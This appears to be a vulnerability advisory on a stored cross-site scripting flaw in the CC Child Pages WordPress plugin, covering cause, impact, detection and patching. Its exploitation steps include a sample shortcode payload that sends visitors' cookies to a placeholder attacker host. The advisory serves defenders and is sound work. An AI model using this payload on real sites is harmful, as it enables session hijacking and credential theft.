CVE-2025-13608: 
WordPress vulnerability analysis and mitigation

CVE-2025-13608 is a Stored Cross-Site Scripting (XSS) vulnerability in the CC Child Pages plugin for WordPress, affecting all versions up to and including 2.0.0. The flaw resides in the child_pages shortcode handler and allows authenticated attackers with contributor-level access or higher to inject persistent malicious scripts into pages. It was disclosed on December 15, 2025, with the CVE assigned by Wordfence. The vulnerability carries a CVSS v3.1 base score of 6.4 (Medium) (Wordfence).

The root cause is insufficient input sanitization and output escaping (CWE-79) on four user-supplied shortcode attributes — use_custom_link, use_custom_link_target, use_custom_thumbs, and use_custom_excerpt — within the show_child_pages function. An authenticated contributor can craft a [child_pages] shortcode with malicious JavaScript embedded in any of these attributes and insert it into a WordPress page or post. Because the plugin fails to sanitize these values before rendering them in the browser, the injected script is stored server-side and executes in the context of any user who subsequently visits the affected page. No user interaction beyond page visitation is required for the payload to trigger (Wordfence, WordPress Trac).

Successful exploitation allows persistent JavaScript execution in the browsers of all users who visit an injected page, with a changed scope affecting users beyond the attacker's own session. This can lead to session cookie theft, credential harvesting, defacement of page content, redirection to malicious sites, or delivery of drive-by malware. While availability is not directly impacted, confidentiality and integrity are both affected at a low-to-moderate level across the site's visitor base (Wordfence).

No public exploit code or active in-the-wild exploitation has been reported for CVE-2025-13608. The EPSS score is approximately 0.029% (0.000290), indicating a very low probability of near-term exploitation. The vulnerability requires authenticated access at contributor level or above, which limits the attack surface compared to unauthenticated flaws. It is not listed in the CISA Known Exploited Vulnerabilities (KEV) catalog (Wordfence).

1. Gain contributor access: Obtain or register a WordPress account with at least contributor-level privileges on the target site running CC Child Pages ≤ 2.0.0.
2. Create or edit a page/post: Navigate to the WordPress editor and create or edit a page where the [child_pages] shortcode can be inserted.
3. Inject malicious shortcode: Insert a crafted shortcode payload targeting one of the vulnerable attributes, for example:

   [child_pages use_custom_excerpt="<script>document.location='https://attacker.com/steal?c='+document.cookie</script>"]

4. Publish the page: Submit or update the page so the malicious shortcode is stored in the WordPress database.
5. Trigger execution: When any user (including administrators) visits the injected page, the unsanitized attribute value is rendered in the HTML output and the injected script executes in their browser, enabling session hijacking, credential theft, or further attacks (Wordfence).

• Logs: WordPress access logs showing POST requests to wp-admin/post.php or the REST API from contributor-level accounts containing shortcode payloads with <script> tags or encoded JavaScript in use_custom_link, use_custom_link_target, use_custom_thumbs, or use_custom_excerpt parameters.
• Database: Entries in the wp_posts table containing [child_pages] shortcodes with JavaScript payloads or HTML event handlers (e.g., onerror=, onload=) in the four vulnerable attributes.
• Network: Outbound requests from site visitors' browsers to unexpected external domains shortly after loading pages containing the [child_pages] shortcode, potentially indicating cookie exfiltration or redirect activity.
• File System: No file-system artifacts are expected, as the payload is stored in the database rather than the file system.

Site administrators should update the CC Child Pages plugin to version 2.0.1 or later, which addresses the insufficient sanitization in the show_child_pages function (WordPress Trac). As an interim measure, restrict contributor-level user registrations or audit existing contributor accounts for untrusted users. Additionally, deploying a Web Application Firewall (WAF) with XSS filtering rules can help block exploitation attempts until the plugin is updated (Wordfence).

Wordfence disclosed the vulnerability and published a weekly WordPress vulnerability report covering the December 15, 2025 – January 4, 2026 period that included CVE-2025-13608 (Wordfence Blog). The vulnerability received routine coverage from automated vulnerability tracking services such as VulDB, Vulners, and CVEFeed, with no notable independent researcher commentary or significant social media discussion observed.